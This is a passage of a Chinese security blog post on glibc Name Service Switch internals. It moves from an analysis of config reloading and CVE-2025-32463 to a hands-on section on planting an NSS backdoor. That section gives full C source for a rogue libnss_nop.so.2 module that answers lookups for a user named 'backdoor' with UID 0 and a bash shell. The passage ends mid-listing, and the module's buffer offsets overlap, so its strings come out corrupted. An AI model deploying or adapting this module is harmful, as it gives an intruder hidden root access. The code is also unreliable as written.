是否变化。如果变化了（说明进程进入了容器，如 chroot），则</span><strong style="font-weight: bold;color: black;"><span leaf="">永久禁用配置重新加载</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> stat_rv = __stat64_time64 (</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf="">, &amp;str);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (local-&gt;data.services[database_index] != </span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">NULL</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (stat_rv != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">        || (local-&gt;root_ino != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span leaf="">            &amp;&amp; (str.st_ino != local-&gt;root_ino</span><span leaf=""><br/></span><span leaf="">                ||  str.st_dev != local-&gt;root_dev)))</span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 检测到容器环境，禁用重新加载</span></span><span leaf=""><br/></span><span leaf="">        atomic_store_release (&amp;local-&gt;data.reload_disabled, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">        *result = local-&gt;data.services[database_index];</span><span leaf=""><br/></span><span leaf="">        __libc_lock_unlock (local-&gt;lock);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">true</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这正是 CVE-2025-32463 的利用条件之一——sudo 在 chroot 后，根目录发生变化，本应触发这个&#34;禁用重新加载&#34;的保护机制。但由于 sudo 在 chroot 之前就已经加载了配置（或者说，这是首次加载），所以这个保护没有生效。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">已加载的 .so 模块不会被卸载</span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">需要注意的是，即使 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 被重新加载，</span><strong style="font-weight: bold;color: black;"><span leaf="">已经通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">dlopen()</span></code><span leaf=""> 加载的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_*.so.2</span></code><span leaf=""> 模块不会被卸载</span></strong><span leaf="">。模块列表（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_module_list</span></code><span leaf="">）是全局的，只增不减（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nss_module.c</span></code><span leaf=""> 第 50 行）。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">如果你在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中添加了一个新数据源，对应的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 会在下次查询时被加载</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">如果你从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中移除了一个数据源，对应的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 仍然留在内存中，但其中的内容已经不起作用了</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">如果数据源的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件被替换，已加载的模块不会自动重新加载</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">但需要区分两个层面的&#34;效果&#34;：</span></strong></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">内存驻留</span></strong><span leaf="">（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 代码仍在进程地址空间中）：一旦加载，永不卸载。即使后续从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中移除了该数据源，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 仍然留在内存里，其中的代码和数据仍然存在。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><strong style="font-weight: bold;color: black;"><span leaf="">查询激活</span></strong><span leaf="">（NSS 查询是否会走到该模块）：完全由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 当前配置决定。如果攻击者部署了恶意 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_evil.so.2</span></code><span leaf="">，在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中添加了 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">evil</span></code><span leaf=""> 数据源使其被加载，然后又将其从 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中删除——恶意 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 虽然仍在内存中，但</span><strong style="font-weight: bold;color: black;"><span leaf="">不会再被查询到</span></strong><span leaf="">，因为 NSS 查询链路完全由配置文件驱动。</span></p></li></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">换句话说：</span><strong style="font-weight: bold;color: black;"><span leaf="">已加载模块的函数指针虽然还在内存中，但只要 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中不引用该数据源，这些函数就不会被调用。</span></strong><span leaf=""> 模块驻留不等于后门持续生效——后门的持续生效依赖于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中持续保留对恶意数据源的引用。这也是为什么检测 NSS 后门时，检查 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 的内容比检查已加载的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 更重要。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span leaf="">总结</span></h4><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">场景</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">是否立即生效</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">需要重启进程？</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">修改 </span><code><span leaf="">nsswitch.conf</span></code><span leaf=""> 中的数据源顺序</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 是</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 不需要</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">在 </span><code><span leaf="">nsswitch.conf</span></code><span leaf=""> 中添加新数据源</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 是</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 不需要</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">在 </span><code><span leaf="">nsswitch.conf</span></code><span leaf=""> 中移除数据源</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 是</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 不需要</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">替换磁盘上的 </span><code><span leaf="">libnss_*.so.2</span></code><span leaf=""> 文件（已被某进程加载）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 对已运行进程不生效（函数指针已缓存）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 只有新启动的进程才会加载新版本</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">部署新的 </span><code><span leaf="">libnss_*.so.2</span></code><span leaf=""> 文件并添加到 nsswitch.conf</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">✅ 是</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">❌ 不需要</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个特性对后门植入非常有利：攻击者只需部署恶意 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.so</span></code><span leaf=""> 文件并修改 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf="">，系统上所有正在运行的进程在下一次 NSS 查询时都会自动加载恶意模块。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x04 添加恶意数据源后门</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">经过前三章的原理分析，我们已经掌握了 NSS 机制的完整运作方式。从本章开始，我们将进入实战环节。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">添加恶意数据源是最直接的 NSS 后门方式。它的核心思路是：在 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nsswitch.conf</span></code><span leaf=""> 中追加一个自定义数据源名（如 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop</span></code><span leaf="">），然后部署对应的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">libnss_nop.so.2</span></code><span leaf=""> 恶意模块。由于 NSS 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NOTFOUND → continue</span></code><span leaf=""> 默认行为，合法用户查询会由 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 正常处理，只有当 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">files</span></code><span leaf=""> 找不到时才会落到恶意模块。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">攻击前提</span></h3><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">已获取目标系统的 root 权限</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">目标系统使用 glibc（几乎所有 Linux 发行版均满足）</span></p></li></ul><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">4.1 后门模块：伪造 passwd 用户</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这是 0x03 中已经展示过的最小化模块。回顾一下它的核心逻辑：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;nss.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;pwd.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;string.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">#</span><span style="line-height: 26px;"><span leaf="">include</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&lt;errno.h&gt;</span></span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">enum</span></span><span leaf=""> nss_status</span><span leaf=""><br/></span><span leaf="">_nss_nop_getpwnam_r (</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">const</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *name,</span><span leaf=""><br/></span><span leaf="">                     struct passwd *result,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *buffer,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">size_t</span></span><span leaf=""> buflen,</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> *errnop)</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcmp</span></span><span leaf="">(name, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_NOTFOUND;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (buflen &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">256</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf="">        *errnop = ERANGE;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_TRYAGAIN;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_name = buffer;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;x&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_passwd = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_uid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gid = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_dir = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strcpy</span></span><span leaf="">(buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/bash&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_shell = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/root&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    result-&gt;pw_gecos = buffer + </span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">strlen</span></span><span leaf="">(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;backdoor&#34;</span></span><span leaf="">) + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> NSS_STATUS_SUCCESS;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这个模块只做一件事：当查询用户名为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">backdoor</span></code><span leaf=""> 时，返回一个 UID=0（root 权限）的伪造用户条目。查询其他用户名时返回 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">NOTFOUND</span></code><span leaf="">，不影响正常查询。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">查询流程如下：</span></strong></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">id backdoor</span><span leaf=""><br/></span><span 